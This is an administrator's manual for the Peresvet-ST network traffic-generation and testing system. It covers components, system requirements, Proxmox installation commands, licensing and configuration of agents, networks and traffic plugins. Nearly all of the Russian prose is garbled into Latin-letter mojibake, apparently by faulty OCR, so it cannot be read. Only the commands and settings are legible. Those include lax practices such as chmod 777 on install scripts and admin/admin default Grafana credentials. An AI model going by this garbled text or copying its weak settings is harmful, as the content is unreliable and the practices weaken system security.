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1 BBeaeHue

Hacrosimuii nokyMeHT npenHa3HadeH i aaMuHuctparopa cucremsl [lepecser-CT.
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2 KomnoHeHTHI MO

[Iporpammuoe obecrnieuenue [lepecer-CT npencraBisier coO00M KOMILJIEKCHOE PEIICHUE IS
MPOBEJICHUS TECTUPOBAHUS, IMYJISIIUU CETU U PAOOTHI MPUITOKCHHM.
1O ITepecBer-CT cocTouT U3 caeAyrOIMMX KOMIIOHEHTOB (cM. Puc. 1):

1. peresvet-st-controller - [EHTpPaJbHBIN  YHPABISIIOIIMA  KOMIIOHEHT CHCTEMBI.
Kontposnep KoOpAMHHpPYET BCIO JIOTUKY TECTHUPOBAHUS - HWHUIUUPYET TECTHI,
KOHTPOJIMPYET COCTOSIHUE areHTOB, COOMpaeT 1 00padaThHIBACT CTATUCTHUKY.

OyHKIUU:
e [IpyHMMaeT KOMaHbl U TapaMETPbI OT MOJIb30BATEIS.
e Ympasnsger paboroil areHta (peresvet-st-agent), mnepenaér emy
napameTpsl Ui reHepanuu Tpaduka.
e Cobupaer, arperupyeT U COXpaHseT pe3yiabTaThl TECTUPOBAHUS.
¢ B3aumoielicTByeT ¢ cUCTeMaMH XpaHEHHs] UM BHU3yalu3alliu JaHHBIX
(Postgres, Clickhouse, Grafana).

2. peresvet-st-agent — KOMIIOHEHT CUCTEMbI, OTBEUAIOLINI 32 reHepalnio Tpaduka. AreHT
HEMOCPEACTBEHHO OCYIIECTBIISIET CETEBYIO Harpy3Ky U U3MEpEeHUs, pyKOBOJCTBYSIChH
MOJTYYEHHBIMU MHCTPYKIHMSIMHU OT KOHTpOJLIEpa.

QyHKINHN:
o [lomyuaeT mapameTpbl reHepanuu Tpaduka OT KOHTPOILIEepa.
e lcnonw3yer cneunanusupoBanHbie cereBble cteku (DPDK / F-stack
(6ubnuoTekn)) nis reHepanuu Tpaduka ¢ 3aJaHHBIMU TTapaMEeTPaAMU.
o QopmupyeT pe3ylnbTaThl U3MEPEHHH W OTIpaBlIsAeT HX OOpaTHO
KOHTpOJLIIEPY.

3. DPDK / F-stack (6ubmuoteku) - Bpicokonpou3BoauTeIbHbIE OUOIHOTEKH CETEBOTO
BBOJa-BbIBOAA (I/O), monkitouaemseie Kk peresvet-st-agent BO BpeMst KOMITUJISITUH.
Oynkiuu: OOecreyuBalOT areHTy BO3MOXKHOCTh 3G (EKTUBHO OTHPABIATH H
MpUHUMATh OonbIIHe OO0BEMBI CETEBOTO Tpaduka, MUHYS SIIPO OMEPAUOHHOMN
CUCTEMBI 17151 JOCTUKEHUSI MaKCUMAaJIbHOM TTPOU3BOUTENIHOCTH.

Cocras:
e DPDK
o OO0s3arenbHBI KOMIOHEHT UTOTOBOM COOPKHU;
o OGecneunBaer npsMoi aoctymn k ceteBbiM PCl-ycTpoiictBam u
BBICOKOTIPOU3BOIUTEIIbHBIA CETEBON BBOI-BBIBO/I.

e F-stack:
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o Hcmonb3yercst TOJIBKO Ha Tarne KOMIWIAIWN U HHTETPUPYETCS B
OuHapHBIN (Haiis areHTa;
o OTcyTcTByeT Kak OT/ACNbHBIH KOMIIOHGHT B HTOTOBOW Cpele
BBITTOJIHCHHUSI.
Postgres - pensimuonHas 0a3za JaHHBIX JUISI XPaHEHHS CTPYKTYPHPOBAHHBIX JAaHHBIX
TECTHPOBAHUS, TAKUX KaK ITapaMeTpPhl 3aITyCKOB U METaJJaHHbIC TECTOB.
Clickhouse - kononouynas CYB/l, onTuMu3upoBaHHas 1js1 XpaHEHUS U OTIEPATUBHOTO
aHanM3a OOJIBIINX 00BEMOB TEIEMETPHUCCKHIX JTAHHBIX U PE3yJIbTATOB TECTHPOBAHMUSL.
Grafana - cuctema BuU3yanu3aliy ¥ aHaM3a JTaHHBIX. [IpeocTaBiseT moap30BaTENIo
yIoOHBIN wWeb-unTepdeiic 11 npocMoTpa rpaduKoB, METPHK U aHAITU3a PE3YJIbTaTOB
WCTIBITAHUM.
Docker / Docker-compose - cucrema KOHTCWHEpH3AIM U OPKECTPAIIMHA CEPBUCOB.

ITo3Bonsier pa3BepHyTh KommoHeHThl cucteMbl Clickhouse, Postgres, B Buze

KOHTEHHEPOB.

Monb3oBaTtenb

peresvet-st-controller

peresvet-st-agent

Postgres Clickhouse Grafana Docker-compose

Puc. 1 - Cxema komnonentoB I10 IlepecBer-CT
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3 CucrtemMHble TpeboBaHus

3.1 [Jns cpedbl supmyanuayuu Proxmox VE 8

[TnaTdopma Buptyanusanuu Proxmox VE §;

Omnepanmonnas cucrema Ubuntu 22.04.2 LTS ans BUPTYanbHON MalIvHBI,

Munumym 32 I'b onepatuBHON naMATH ISl BAPTYaJIbHOM MallIMHbL;

He menee 16 RX/TX ouepeneit a1 ceTeBoi KapThl;

1
2
3
4. He menee 16 pusnueckux simep CPU Base Clock 2 GHz nnist BupTyaibHOM MallluHBI;
5
6

Ilo ymonuanuio, MHOTHE BUpTyalbHbIe Kiactepsl BM ycranaBmuaior 1 RX/TX

ouepe/b, YTO OTPAHUYUBALT MPOU3BOIUTEIHBHOCTH CUCTEMBI U TT03BOIIsIeT 110 paboTarh

tonbko Ha 1 sape. KonmaectBo RX/TX ouepeneii 10KHO OBITh HE MEHBIIIE KOJIMYECTBA

siaep BM.

7. He menee 64 I'b pazmep cBOOOIHOTO AMCKA.
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4 UHcTpyKumnsa no yctaHoBKe lNMepecBet-CT

4.1 3anyck ckpunma ycmaHoeku lepeceem-CT

HJ’IH 3aIlyCKa CKpHIITa YCTAHOBKH HCO6XOI[I/IMO BBITIOJITHUTH CICAYIOIIUC ﬂeﬁCTBHHZ

Baxkno: nns nonydenus 3nadennii 'USER' 1 'PASSWORD' Heo0xo1uMo HanpaBUTh MTHUCHMO

Ha TOYTY support(@peresvet.it ¢ ykazaHueM IOPUIUYECKOTO JIUIA M KOHTAKTHBIX JaHHBIX.

apt-get update && apt-get upgrade

wget --user='USER'

--password='PASSWORD' \

https://downloads.peresvet.it/vm-pool/proxmox/st-compose.tar.gz
tar -xzvf st-compose.tar.gz

cd compose

chmod 777 install.sh

sudo ./install.sh

Ckpunt ycranoBku IlepecBer-CT aBTOMaTmuecku mpoepuT TpeboBanus k BM, ycraHOBUT

nakeTsl 110 ¢ peno3uropus peresvet, ycranoBuT docker u ero o6passl, BeiaenuT Hugepages u yTO4HUT

Tpedyemyto koHpurypanuio [10 B TepMuHane B peXkUMe peabHOTO BPEMEHH.

[[a_nee HeO6XO,Z[I/IMO 3aIlOJIHUTL CJICAYIOMIUC TTOJIA AJI 3aBEPIICHUA YCTAHOBKU HepCCBeT—CTZ

[Tonsa nuist HacTpoOMKKU KOHTpoJuIepa rpuBeAeHsbl B Ta0n. 1.

Tada. 1 — Onucanue HaCTPOEK KOHTPOJLIEpa

Ha3panue 3HayeHne 3Ha4yeHue no
YMOJTYAHUIO
ITopt npunoxenus Bseaure uncioBoe 3HaYEHUE IOPTA 8080
KOHTpOJIIepa MIPUJIOKEHUS KOHTpOIIIepa
Xoct Postgres Beeaure ip-aapec xocta ¢ Postgres 127.0.0.1
ITopt Postgres BBeaute unciIoBOE 3HAUEHHE MTOpPTa 5430
[oms30Barens Postgres Benute nMs moyp30BaTeNs stadmin

[Mapone ot monp30BaTeNs
Postgres

Beenute mapois At nons3oBatens Postgres

[Mapoms reHepupyercs,
€CIIH T10JI€ OCTaBUTh
IYCTBIM

WNwms 6a361 maHebIX Postgres

Bsenure nMs 6a3bl JaHHBIX

systemtrace

URL namb6opnos Grafana Beenure cBsi3ky ip-aapeca:mopra miu URL Beenure cBs3Ky ip-

xocta ¢ Grafana aapeca:mopta ni URL
xocta ¢ Grafana

Baxmno: ip-anpec xocta ¢ Grafana nomxkex
MMETh TAaKOH K€ ip-aipec, KaK U ip-aapec
KOHTpOJIepa JUIsl I0CTyIa B BeO-MHTepdec

Xocr ClickHouse Beenure ip-anpec xocta ¢ Clickhouse 127.0.0.1

Iopr ClickHouse Beeaute uncioBOE 3HAUEHHE MTOPTA 8123

[Mons3oBarens ClickHouse Bsenute ums nons3oBaTens default

ITapons ot nons3oBaresns
ClickHouse

Beemure mapois mist mons3oBarens ClickHouse

[Tapons renepupyeres,
€CIIH T10JI€ OCTABUTH
ITyCTBIM
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MM 0a3bl gaHHBIX Beennre nMmsa 0a3bl JaHHBIX default
ClickHouse

Anmunuctpatop Grafana Bseaure M Moan30BaTeNs admin
[Tapons anMuHHCTpaTopa Beenute mapoins mist agmuaACcTpaTopa Grafana | admin
Grafana

[Tons st HACTPOMKY areHTa npuBeaeHs! B Tabm. 2.

Taba. 2 - Onucanue HACTPOEK areHTa

Ha3Banue 3HaueHue 3HaveHue MO
YMOJTYAHHUIO
URL ST kontpomrepa Beemure cBs3ky ip-aapeca:mopta mwin URL http://127.0.0.1:8080/
xocta ¢ ST KoHTpoIepOM
Wwms xocTa areHra Bemute ums xocTa Ui areHTa Wms xocta reHepupyercs,
€CJIH TIOJIE OCTaBUTh
Ty CTHIM
JocTtynHsle ceTeBble Beemnute PCI ampec cereBoro untepdeiica s Beenure PCI agpec
ycTpoiicTBa npuBsi3ku ero vfio-pci. Beidepere oquH u3 ceTeBoro uHTepdeiica s
JIOCTYITHBIX aJpECOoB. npuBsi3ky ero viio-pci.

BeiGepere onnn u3
JIOCTYIHBIX aJPECOB.

4.2 3anyck ckpunma obHoeneHus lNepeceem-CT
Jl7ist 3aycKa CKpUIITa YCTAaHOBKM HEOOXOMMO BBITTOJIHHUTD CIEAYIOUINE JCHCTBUS:
Baxno: nns nonyuyenus 3nadenuit 'USER' 1 'PASSWORD' HeoOxoa1uMo HanpaBUTh MHUCbMO

Ha IMo4Ty support@peresvet.it C YKa3aHUCM HOpUANYCCKOIO JINIA U KOHTAKTHBIX JaHHBIX.

sudo wget --user='USER' --password='PASSWORD' \
https://downloads.peresvet.it/vm-pool/proxmox/st-compose.tar.gz -O st-

compose-update. tar.gz

sudo tar -xzvf st-compose-update.tar.gz

cd compose

sudo chmod 777 update.sh

sudo ./update.sh

Ckpunt o6Honenus IlepecBer-CT aBTOMaTH4eCcKH MPOBEPUT M OOHOBUT KOHTEWHEPHI IS
pabotsl IlepecBer-CT, ycranoBuT maketsl 1O ¢ pemosutopust peresvet, B TepMHHAJE B PEXKUME

PCAJIBLHOIO0 BPpEMCHHU.

4.3 Uncmpykuyusi no ycmaHoeke lNlepeceem-CT e cpede
eupmyanu3ayuu Proxmox VE 8

4.3.1 NoarotoBka runepsusopa Proxmox VE 8

Hns ycranoBku IlepecBer-CT B rumepBuzope Proxmox VE 8 Heo0XoauMo BBINOJIHUTH

CIEAYIOLINE IEUCTBUS:

Jlucm
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Otpenmaktupyiite (aiin /etc/network/interfaces B oneparnmonnoit cucreme ¢ Proxmox VE 8 ¢

IIOMOIIBXO KOMAaHbI:

nano /etc/network/interfaces

B (aiine /etc/network/interfaces HacTpoiiTe MOCT vmbrl CIECIYIONINM 00pa3oM:

auto vmbrl

iface vmbrl inet static
address 10.10.10.1/24
bridge-ports none
bridge-stp off
bridge-£fd4d 0

HpI/IMeHI/ITe KOH(bHpraHHIO C IIOMOIIIBIO KOMaHBbI:

ifreload -a

[To neobOxomumoctu, Hactpoite NAT nms BHyTpennedt cetu 10.10.10.0/24, d9T0oOBI

NpeaoCTaBuTh AOCTYII BHpTyaHLHOﬁ MalIIMHE C HepeCBCT—CT. 9TO0 MOXKHO caciaatb C IIOMOIIBRO

CIICAYIOIMX KOMaHI:

# BxioUeHME MapUPyTHUSaUUU
echo "net.ipv4.ip forward=1" >> /etc/sysctl.conf
sysctl -p

# No6aBnenme mpaBumna NAT
iptables -t nat -A POSTROUTING -s 10.10.10.0/24 -o vmbr0 -j MASQUERADE

# CoxpaHeHMe npaBmMI
apt install iptables-persistent -y
netfilter-persistent save

4.3.2 Co3zpaHue BMpTyanbHou mawuHbl B Proxmox VE 8
Jlanee HE0OX0AMMO CO3/1aTh BUPTYaIbHYI0 MamuHy B Proxmox VE 8 s Ilepecer-CT:
Co3naiite BM uepe3 Be6-unTepdeiic Proxmox co cieayonmMy napaMeTpamu:
e General: 3anaiite ums BM
e OS: BriGepure 3arpyxennsiii [ISO Ubuntu 22.04
e System: Machine: 35, BIOS: OVMF (UEFI), EFI storage: local, Qemu Agent:
MOCTaBbTE TAIOUKY
e Disks: 64 I'b unu no HeoOX0AUMOCTH
e CPU: Cores: 16, Type: host
e Memory: 32768 Mb
e Network: Bridge: vmbrl, Model: VirtlO (paravirtualized), Advanced: multiqueue
paBeH koJ-By sijep BM (16)
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Jlnanee moGamieHUE BTOPOM CETeBOM MHTep(dEc B HACTPOWKAX BUPTYyaJIbHOW MAIIMHBI JIJIS

ITepecBer-CT:

Baxkno: ITocne cozganust BM, HoO niepen e€ 3amyckoMm 100aBbTe BTOpOi HHTEpQEiC 10 Havaia

ycranoBku Ubuntu.

e Bribepure BM — Hardware — Add — Network Device

e Hactpoiite Advanced: multiqueue paBen koin-By simep BM (16)
e Hactpoiiku: Bridge: vmbrl, Model: VirtlO

e Haxmure Add

e VYcranoska Ubuntu

e 3anycrtute BM u oTKpoiiTe KOHCOIb

IIpu wHactpoiike ceth Bbl yBHAWUTE JBa HHTepdelica: enp6s18 (mepBbrit

u enp6s19 (BTopoii VirtlO)

Jlanee cienyer HaCTPOMKa CETH BO BPEMs YCTAaHOBKH:
IlepBbiii nuuTEpdeiic (enp6s18) - ynpapiienue:
Method: Manual

Subnet: 10.10.10.0/24

Address: 10.10.10.101

Gateway: 10.10.10.1

Name servers: 8.8.8.8,8.8.4.4

Bropoii unrepgeiic (enp6s19) - nass DPDK:
Mo’xHO He HacTpauBaTh, TaK KaK €ro HacCTPOUT ckpunt ycraHoBku [lepecBeT-CT
IIpoBepka nocie yCTaHOBKHU:

# Nposepxa uureppeiicon

ip a

#llpoEepka MapupyTMSaumn
ip route

HManee Ha coznanHoil BM ycranosute Ilepecser-CT, ucnonb3ys nyHKT 4.1.

VirtlO)

U3m.
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5 OnucaHue onepauuu lNepeceet-CT

5.1 Be6-uHmepdelic

Jlst nactpotiiku [lepecBer-CT HeoOoxoaumo oOpaTuthes o npotokosry HTTP Ha HasHaueHHBIH

ynpasisromuii uatepgeiic [P-anpeca o nopty 8080.

[Ipu Bxone B [lepecBer-CT anMUHUCTpATOP MOMAJAET HA TJIABHYIO CTPAHUILY.

Ha rnaBHo#M CTpaHHUIEC ITOJB30BATCIIIO JOCTYIIHBI CIICAYIOUIUEC pa3aciibl:

— 3ajgaun — mpeIHa3HAa4YeHa A TeHepanuu Tpaduka. B manHOM pasnene mpeacTaBiIeHBI

3a[a4u, YTO MO3BOJISIOT UCIOIB30BATh PA3TUYHbIC TPOPHIN TeHepaly TpadhuKa;

— ATEHTBHl M CeTH — NIpeJHa3HauyeHa IS HACTPOMKH MapaMeTpOB areHTOB U OOBEKTOB,

KOTOpBIE OYIyT MCIIOIB30BaThCS B MPOPIIIAX TeHepauu Tpaduka;

— Ilonw3oBaTenmm — npeaHasHadycHa 1Jisa HEICTpOfIKPI HOJII)BOBaTeJIefI, KOTOPBIC OTHOCATCA K

Hactpoiikam Ilepecser-CT.

5.2 Hacmpouka «AeeHmbl u cemu»

Bxknangka «ATreHTBl M ceTu" npeaHa3Ha4ycHa aJis KOH(bI/Il"ypaI_II/II/I mapaMeTpoOB arcHTOB H

00BEKTOB, HCOOXOIUMBIX JIJISl CO3JaHUs 3aJIaHUM 110 TeHepaluu Tpaduka.

5.2.1 AreHTbl

Arenr — 3T0 MMporpaMMHO-alIapaTHoe CpeaACTBO, I'CHCPUPYIOLICE Tpa(l)I/IK o 3aJaHHBIM

napameTpam, 1 MOXKECT OBITh IMMPEACTaBJICH B BUJC CECPBEpa NI BHpTyaHBHOﬁ MAalIWHBI.

5.2.1.1 [lepeuyHasi cmeHa napoJssi

[Ipoiinsa nepByto ayteHTudukanuio B Be6-unrepdeiice Ilepecser-CT agmunuctparopy Oynet

MPEAJIOKCHO CMCHUTDH TCKYH_IHﬁ IapoJib. I[JIH CMCHBI ITapOJId HeO6XOI[I/IMO BBECTH HOBBII I1apoJib B ITOJIA

«ITaponb» u «IloarBepxkaenue napois» (cMm. Puc. 2)
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/\ TpebyeTtca cmeHa napons

MoaTteepxaeHue napons

Puc. 2 — OxHo co cMeHol mapos

5.2.1.2 [JobaeneHue nuyeH3uu OJis aceHma

Jliis noGaBieHus TUIEH3UU Ha areHT HE0OXOAUMO CIIEAYIOIIEe:

1) IlepeiiTu BO BKJIaJKy AT€HT M C€TH — ATeHTbI;

2) Haiitu HY)KHHﬁ Ar'CHT U HaKaTb HA KHOIIKY . MCTa-AaHHbIC aIrCHTAa B CTPOKEC HY>KHOI'O

areHra v BeIOpaTh OKHO «CBEACHUS

3) OrtkpoeTcst OKHO ¢ METaJaHHBIMU areHra (mpumep npejacrasieH Ha Puc. 3). B atom okHe

HeoOxoauMo ckonrpoate HWID arenra.

9 MeTa-flaHHble areHTa

HWID areHTa

HWID
cl

3AFPY3UTb JIMLEH3MUIO

Puc. 3 — OkHoO ¢ MeTa-TaHHLIMH areHTa

4) Jlanee HEOOXOOUMO HamNpaBUTh 3JeKTpoHHOe mnuckMo ¢ HWID arenra na mnourty

support@peresvet.it C YKa3aHHUECM IOPpUANYCCKOI'O JIMIa U KOHTAKTHBIX JaHHBIX.

5) Jlanee B otBeT Ha muckMo ¢ HWID arenTa Oynet nepenan daits ¢ auiieH3nei.

U3m.

Jlucm

Ne dokym.
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6)

7)

i Toro, 9To0BI 3arpy3uTh JIMICH3WIO HEOOXOIMMO HaXKaTh HA KHOIKY MeTa-
JTAaHHBIE areHTa B CTPOKE HYKHOI'O areHTa U BbIOpaTh OKHO «3arpy3UTh JIMLIEH3UIO)
Hanee Haxxmute Ha kHOMKY «IIpocmoTp (aiinoB» u BeiOepere ¢ailin JUIEH3UH B OKHE

noucka ¢aityioB wiu neperamure B (aiia B 00J1aCTh, BBIIEICHHYIO TyHKTHPOM.

8) Ilocne 3arpy3ku (paiina ¢ nuuEH3UEH B KOHTPOJUIEp, HAKMHUTE KHOMKY «3arpy3uTh Ha
areHTa»

9) Ilocne 3TOro 3aKpbiTh M CHOBA OTKPBITh OKHO CBEIEHHUS U YOEIUTCS, YTO JIMILIEH3UA
COOTBETCTBYET IPOAYKTaM, JaraM Hauyajla M OKOHYaHUS JCHCTBUM, NPOINYCKHOMN
CTIIOCOOHOCTH.

5.2.2 Cetun

HaHHHﬁ pasaci HCO6XOI[I/IM JJIA CO3JaHUsA 06T>CKTOB, KOTOPBIC 6y,I[YT HCIIOJIB30BAaThCA B

npodIIsAX reHepanuu Tpapuka.

OOBEKTHI CETH AEIATCA HA 2 THIA:

L4 OTHpaBI/ITeHB - I[aHHBIﬁ 00BEKT 6y,[[eT HCIIOJIb30BAaThCAd B INIarMHaxXx TI'CHEpalluKU

TpauKa KaK «OTIIPABUTEIIbY.

e [lomyuarens — faHHBIA OOBEKT OYy/IET UCIIOJIL30BATHCS B IJIarMHAX FeHepaluu Tpaduka

KakK «Honyanenb»

OOBbeKT TuIa OTIPaBUTENb ASTUTCS Ha 2 THUIA:

e BrixitoueHHblH cryQGUHT MO MaTTEPHY - JaHHBIM OOBEKT OyAET HCIIOJIb30BATHCS B
Stateful mnarunax
e Bxmodenssiii cny@uHr Mo nmaTTepHy - AaHHBIA OOBEKT OYAET HCIOJIb30BAThCS B

Stateless mrarnaax

5.2.2.1 [JlobaeneHue cemu muna «omnpasumeJisi» ons Stateful nnazuHoe

Jlst Toro, 9TOOBI CO3AaTh OOBEKT THUIIA «OTIPABUTENbY Mg Stateful mmaruHoB HE0OX0AUMO:

1)
2)

[Tepeiitu B paznen Arent u cetu — Cern;

Jlanee HaxkaTh Ha KHOMKY «+ Co3xathb ceTb» (cM. Puc. 4);

Jlucm

Pykosodcmeo admHuucmpamopa 0ns 10 Nepeceem-CT
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CeTun

ATEHTHI

Puc. 4 — Brkaagka «Cern»

3) 3anoaHUTH MOJIsl, ONTMCAHNUEe KOTOPBIX HaxoauTcs B Taoi. 3;

Taon. 3 — o a1 co3naHus 00bEKTAa THIA «OTHPABUTENb» s Stateful miaruna

HasBanmue

Onucanue

3HaueHne

HazBanue cetu

HazBanue o0wekTa, KoTopoe Oynet
HCIIONIb30BaThCsl B HACTPOIKAX IIarnHOB

3amoaHATL Ha3BaHUE CETH

Tun cetn

OTtnpaBuTenb — TaHHBIH 00BEKT OyIeT
HCIIOIb30BaThCS B IUIATMHAX TCHEPAIUU
Tpaduka KaKk «OTIPABUTEIIbY
[omyuarens — maHHBI 00BEKT OyaeT
HCTIOJB30BaThCS B IUIATHHAX TCHEPALINU
Tpaduka kak «IlomygaTens

OtnpaBuresb

Cny¢uHr mo
naTTepHy

Bxirouenue renepanuu [P-agpecos no
OTIpeJIeIEHHOMY MaTepHy, yKa3aHHOMY B
CJIETyIOLIEM TIOJIE.

TymOnep BIKITIOUECH

Iloncern

[P-anmpeca u3 maHHOI moaceTr OyAyT
HCII0JI30BATLCS B KAUECTBE
«OTIPABUTEISH» TIPU OTIIPABICHUH MTAKETA.

3amomauTe nose B popmare CIDR
(mampumep, 10.10.10.0/24)

HckiroueHnbre
ajpeca

Jns Beleyka3zannoit noacetu Ilepecser-
CT npenioxut BEIOpaTh agpeca, KOTOpbIe
OyAyT UCKIFOUATHCS IIPH OTIIPaBKe
MaKeTOB (HE0OXOAUMO BEIOPATH 3aHSTHIE
JPYTUMH yCTPONUCTBAMH afipeca, YTOOBI
n30exartp nepesanucu ARP-tabmui)

Bribepere agpeca u3 cricka

[Iro3

IP-anpec ycrpoticTBa, koTopoe Oyaer
HCIOJIb30BATHCS AJIs1 COEIUHEHUS IOJCETH,
yKa3aHHOH BBIIIE, U TOH, 4yTO OyaeT
yKa3aHa B paMKax IIJJarHa B KAYECTBE
«TorydaTens», obecrieunBas nepeaady
JIAaHHBIX MEXY HUMHU.

VYxaxure [P-anpec (Hanpumep, 10.10.10.1)

4) I[aﬂee, JJIs1 CO3daHus CETU HCOGXO,Z[I/IMO Ha’>XaTb Ha KHOIIKY ((HpI/IMeHI/ITB».

5.2.2.2 flo6asneHue cemu muna «omnpasumerisi» 0ns Stateless nna2uHoe

Jyst Toro, 9TOOBI CO3/1aTh OOBEKT THUIIA «OTIPABUTEIbY s Stateless mIarnHoB HEOOXOAMMO:

1) Tlepeiitu B paznen AreHt u cetu — Ceru;

2) Jlanee HaxaTh Ha KHOIIKY «+ Co31aTh ceThb» (cM. Puc. 4);

3) 3amoaHUTH MOJIsI, OMUCAaHNE KOTOPHIX HaxoAuTcs B Taoi. 4;

U3m.

Jlucm

Ne dokym.
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Tabua. 4 — Iloas nist co3naHus 00beKTAa THIIA KOTHPABHUTEIbY A Stateless miiarnna

HazBanmue

Onucanmne

3HauyeHue

HazBanue cetu

HazBanme o0wekTa, KoTopoe Oynet
HCIIONB30BATHCS B HACTPOMKAX IIarHHOB

3amnoJHUTh Ha3BaHUE CETH

Twun cetn

OrtmpaBuTenb — AaHHBIH 00BEKT OyAeT
UCIIOJIb30BAThCS B IUIArMHAX TeHEPAIH
TpadrKa KaK «OTHPABUTEIIb
[omyuarens — maHHBI 00BEKT OyaeT
UCIIONIb30BAThCS B IUIArMHAX TeHEPAIH
tpaduka kak «[loxyuarensy

OTtmpaBuTenb

Crrygusr mo
naTTepHy

Bxirouenue renepanuu [P-agpecos no
OTIpeJIeIEHHOMY MaTTepHy, YKa3aHHOMY B
CIJIETYIOLIEM TIOJIE.

TymOnep Brmo4YeH

ITarrepu

[TaTtTepH, no KoTopomy OyIyT
reHepuposatbes [P-anpeca, koTopsie
OyIyT HCIONB30BATHCS B KAUECTBE
«OTIIPABUTEISD) IPU OTIIPABICHUH TAKETA.

3anonuuTte nojie B popmare X.*.*.* rae X
— DTOT OKTET BCeraa JA0KeH OBITh
quciioM. B korTekcTe IPv4 aTo umcno
JIOJDKHO HAXOAWTHCS B quamna3oHe ot 0 10
255. Hanpumep, 10Ty CTUMBIMHI
3HAYCHUAMHU MOTYT ObITH 0, 1, 2, ..., 255.

OcranpHble Tpu oKTeTa (*.%*.%):

Kaxxaplii U3 3THX OKTETOB MOKET OBITh
1100 yucaoM B quana3one ot 0 mo 255,
100 CUMBOJIOM *, KOTOPBIH 0003HAYAET,
YTO B 3TOM MECTE MOKET HaXOIAUThCS
mro0oe gncio ot 0 mo 255.

IIpumep:

192.** * — mepBHIi OKTET (PUKCHPOBAH
(192), ocranbHBIe MOTYT OBITH JIFOOBIMHU
quciiamu ot 0 go 255.

10.0.*.* — nepBblil OKTET HUKCHPOBaAH
(10), Bropoii ¢pukcupoas (0), a Tpetuii u
YETBEPTHIil MOTYT IPUHUMATH JTHOObIE
3HAYCHHUS.

172.16.5.100 — xonkpetHbIii [P-anpec,
IJIe BCE OKTETHI 3a/IaHbI YUCIIAMHU.

Anpec cepepa

IP-ampec ¢ koToporo areHt Oyzaer
obMmennBaroTcs uHpopmarmeit o ceoux [P
u MAC-anpecax.

VYxaxure [P-anpec (Hanpumep, 10.10.10.2)

[Imr03

IP-anpec ycrpoticTBa, KoTopoe Oyaer
HCITOJIb30BAThCS JIISI COCTUHECHUS TTOJICETH,
YKa3aHHOU BBIIIE, U TOU, 4TO OyaeT
yKa3aHa B paMKax IJIarMHa B Ka4eCTBE
«ToydJartens, odecrneunBas nepeaady
JTAHHBIX MEX]ly HUMHU.

VYxaxwure [P-anpec (Harmpumep, 10.10.10.1)

4) I[aﬂee, I CO3daHus CETU HCOGXO,I[I/IMO HaXXaTb Ha KHOIIKY ((HpI/IMeHI/ITB».

5.2.2.3 fJlo6asneHue cemu muna «nosay4amesisi»

J51g TOro, 4TOOBI CO3AaTh OOBEKT TUIIA KIIOJTyYaTeNlb» HEOOXOIUMO:

1) Ilepeiitu B pa3znen AreHT u cetu — Ceru;

U3m.
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2) Janee HaxkaTh Ha KHOTMKY «+ Co3aaThb ceTb» (cM. Puc. 4);

3) 3anoJaHUTH MOJIsI, OMKMCAHNUEe KOTOPBIX HaXoAuTCs B Taou. 5.

Ta6ua. 5 — Ioas nJs co3nanus 00beKTAa THIIA KIOJIYYATeb

HasBanmue

Onucanue

3HaueHne

HasBanwne cetn

HasBanue oObekTa, KOTOpOoe  Oyzer

HCIIOJIB30BAaThHCA B HaCTpOﬁKaX IIJIaTUHOB

3anoJHUTh Ha3BaHUE CETH

Tum cetn

OTmpaBuTENb — TaHHEIH 00BEKT OyIeT
UCIIOJIb30BAThCS B IUIArMHAX TeHEPaIH
TparKa KaKk «OTHPABUTEIIb
[Momy4aTens — naHHbI 00BEKT OyeT
UCIIOJIb30BAThCS B IUIArMHAX TeHEPAIH
tpaduka kak «[loxyuarensy

ITonyyarens

Iloncern

[P-anmpeca u3 maHHOI moaceTr OyAyT
HCTIOB30BaThCS B KAYECTBE KITOTyUYaTeIIsh)
TIpH OTIIPABIICHUH TTaKeTa.

3amomHuTe Noste B popmare CIDR
(mammpumep, 10.10.10.10 wm
10.10.10.0/24)

HckmroueHHbIE
ajzpeca

Jns Beleyka3zanHoii noacetu llepecser-
CT npeanoxuT BEIOpaTh ajipeca, KOTOpbIE
OyZIyT UCKJIFOYATHCS [IPU OTIIPABKE
MaKEeTOB

Bribepere agpeca u3 cricka

Iloprtel

IMone «ITopTe» oTBEUaET 3a yKazaHHe
KOHKPETHBIX CETEBBIX IIOPTOB, Yepe3
KOTOpBIE OyJeT MPOUCXOANTH OOMEH
JAHHBIMH B paMKaxX JaHHOH CETH MU
TIOJKJTFOYEHUSL.

[Nepeuncnure YUCIOBBIE TOPTHI
(mammpumep, 80 mwm 80,81,82 u t1.)

4) Z[aﬂee, JJIs1 CO3daHus CETU HCOGXOI[I/IMO Ha’XXaTb Ha KHOIIKY ((HpI/IMeHI/ITB».

5.3 Hacmpolika «3ada4yu»

33)13‘114 — OTO HMHCTPYMCHTBI I TCHCpalUun Tpa(bm(a C HCIIOJIB30BAHHMEM PA3JIMYHBIX

IIJIaruHOB.

s Hactpoiiku IlepecBer-CT niist mpoBeieHNs reHepaluy Tpaguka Heo0X0AUMO:

1) Hcnons3ys mo0oii BeO-Opaysep, noakitounThes K Bed-unrepdeiicy Ilepecser-CT.

2) Ilepeiitu B paznen 3apaun — HoBas 3anaua (Puc. 1).

System Trace

3anauu

Q Mowuck

Puc. 1 —Ilepexon B paznen 3agaun

3) Bruibpars llnarun: <uaseanue Ilnacuna>.

U3m.

Jlucm
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5.3.1 Hactpouka «lnaruHa»

[Inarun — UHCTPYMEHT, NpeHa3HAYCHHBIN I BEIOOpA TUIIA ONPEAEICHHOTO FeHEPUPYEMOro

Tpaduka.

5.3.1.1 HTTP

HTTP — nmarus 115 reHepanuu pa3andHoro Beo-Tpaduka.
JIaHHBIH TUTarMH COCTOUT U3 CJIEAYIOIIUX TapaMeTPOB:
a) HcTouHuku — BEIOpaHHBIN areHT, HHTEpQeEiic, C KOTOPOTo areHT OyAeT OTIIPABIATH
Y IPUHUMATH Tpa(pUK U 00BEKT OTIPABUTENH (CM. 3aroyioBok 5.2.2.1) nist renepaunu tpaduka;
0) Llenu — BEIOpaHHBINM OOBEKT MOJTy4aTeb (CM. 3aroJIoBOK 5.2.2.3);
B) [P 3aronoBok (L3) — mapamerpsr HacTpoek IP 3aronoskoB Ha ypoBHe L3 TPC/IP,

OIMCaHNE KOTOPBIX yKa3aHbl B Tabiu. 6;

Taba. 6 — ITapamerpsol «IP 3arosioBok (L3)»

Ha3zBanmue Onucanmne 3Hauenue

TTL (Time to | [lapamerp TTL omnpenenser makcumanbHOe | 3amaiite YHCIOBOE 3Ha4YeHUe (o
Live) KOJIMYECTBO  MAapIIPYTU3aTOpPOB  (XOMOB), | ymMonuaHutoo, 3HadeHue TTL sBuasercs:
